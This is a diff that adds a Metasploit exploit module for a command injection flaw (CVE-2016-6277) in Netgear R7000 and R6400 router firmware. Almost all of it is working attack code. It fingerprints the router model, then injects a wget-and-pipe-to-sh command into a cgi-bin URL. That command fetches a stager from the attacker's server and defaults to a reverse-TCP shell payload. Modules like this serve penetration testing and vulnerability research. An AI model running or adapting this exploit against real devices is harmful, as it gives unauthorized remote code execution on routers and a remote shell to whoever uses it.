|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + include Msf::Exploit::CmdStager |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits an arbitrary command injection vulnerability in |
| 20 | + Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. |
| 21 | + }, |
| 22 | + 'License' => MSF_LICENSE, |
| 23 | + 'Platform' => 'linux', |
| 24 | + 'Author' => ['thecarterb', 'Acew0rm'], |
| 25 | + 'DefaultTarget' => 0, |
| 26 | + 'Privileged' => true, |
| 27 | + 'Arch' => ARCH_ARMLE, |
| 28 | + 'Targets' => [ |
| 29 | + [ 'Automatic Target', { } ] |
| 30 | + ], |
| 31 | + 'References' => |
| 32 | + [ |
| 33 | + [ 'EDB', '40889'], |
| 34 | + [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], |
| 35 | + [ 'URL', 'https://www.kb.cert.org/vuls/id/582384'], |
| 36 | + [ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'], |
| 37 | + [ 'CVE', '2016-6277'] |
| 38 | + ], |
| 39 | + 'DisclosureDate' => 'Dec 06 2016', |
| 40 | + 'DefaultOptions' => |
| 41 | + { |
| 42 | + 'PAYLOAD' => 'linux/armle/mettle_reverse_tcp' |
| 43 | + } |
| 44 | + )) |
| 45 | + |
| 46 | + register_options( |
| 47 | + [ |
| 48 | + Opt::RPORT(80) |
| 49 | + ], self.class) |
| 50 | + |
| 51 | + deregister_options('URIPATH') |
| 52 | + end |
| 53 | + |
| 54 | + def scrape(text, start_trig, end_trig) |
| 55 | + text[/#{start_trig}(.*?)#{end_trig}/m, 1] |
| 56 | + end |
| 57 | + |
| 58 | + # Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected |
| 59 | + def check |
| 60 | + res = send_request_cgi({'uri'=>'/'}) |
| 61 | + if res.nil? |
| 62 | + fail_with(Failure::Unreachable, 'Connection timed out.') |
| 63 | + end |
| 64 | + # Checks for the `WWW-Authenticate` header in the response |
| 65 | + if res.headers["WWW-Authenticate"] |
| 66 | + data = res.to_s |
| 67 | + marker_one = "Basic realm=\"NETGEAR " |
| 68 | + marker_two = "\"" |
| 69 | + model = scrape(data, marker_one, marker_two) |
| 70 | + vprint_status("Router is a NETGEAR router (#{model})") |
| 71 | + if model == 'R7000' || model == 'R6400' |
| 72 | + print_good("Router may be vulnerable (NETGEAR #{model})") |
| 73 | + return CheckCode::Detected |
| 74 | + else |
| 75 | + return CheckCode::Safe |
| 76 | + end |
| 77 | + else |
| 78 | + print_error('Router is not a NETGEAR router') |
| 79 | + return CheckCode::Safe |
| 80 | + end |
| 81 | + end |
| 82 | + |
| 83 | + def exploit |
| 84 | + return if check == CheckCode::Safe |
| 85 | + |
| 86 | + @cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';') |
| 87 | + |
| 88 | + send_request_cgi( |
| 89 | + 'method' => 'GET', |
| 90 | + 'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh" |
| 91 | + ) |
| 92 | + end |
| 93 | + |
| 94 | + # Return CmdStager on first request, payload on second |
| 95 | + def on_request_uri(cli, request) |
| 96 | + if @cmdstager |
| 97 | + send_response(cli, @cmdstager) |
| 98 | + @cmdstager = nil |
| 99 | + else |
| 100 | + super |
| 101 | + end |
| 102 | + end |
| 103 | + |
| 104 | +end |
0 commit comments